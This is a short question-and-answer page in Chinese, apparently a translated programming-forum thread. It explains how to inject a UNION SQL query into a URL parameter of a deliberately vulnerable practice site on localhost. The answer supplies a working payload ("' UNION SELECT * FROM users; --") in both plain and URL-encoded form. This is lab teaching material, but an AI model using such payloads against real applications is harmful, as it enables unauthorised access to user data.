将SQL查询插入http URL

问题描述 投票:0回答:1

我受命向为此目的而建立的假网站进行SQL注入。我想知道如何将SQL查询插入URL。例如http://localhost:<> / vulnerabilities / webapi / users // nickname?username = my_id我有这个URL,我想向它注入UNION查询,我该怎么做?谢谢。

sql sqlite http url sql-injection
1个回答
0
投票

假设您的网络查询将被翻译为

SELECT * FROM users WHERE username = 'my_id';

现在,诀窍是用恶意代码替换'my_id'。我假设UNION查询的目的是返回所有用户,而不是一个用户。结果应为:

SELECT * FROM users WHERE username = 'my_id' UNION SELECT * FROM users; -- ';

也许原始查询的字段列表而不是*。然后,您将不得不在第二个查询中复制此列表。

现在必须输入my_id,而不是[C0

my_id' UNION SELECT * FROM users; -- 

注意,我们以--结束我们的输入,并添加了评论。查询机制将通过附加最终的单引号(可能还有分号)来终止查询。现在它们将变成评论。

下一个问题是,我们如何正确地对此URL进行转义。使用在线工具Code Beautify, HTML Escape/Unescape,我们得到:

my_id%27%20UNION%20SELECT%20*%20FROM%20users%3B%20--

这提供了完整的URL:

http://localhost:<>/vulnerabilities/webapi/users//nickname?username=my_id%27%20UNION%20SELECT%20*%20FROM%20users%3B%20--
© www.soinside.com 2019 - 2024. All rights reserved.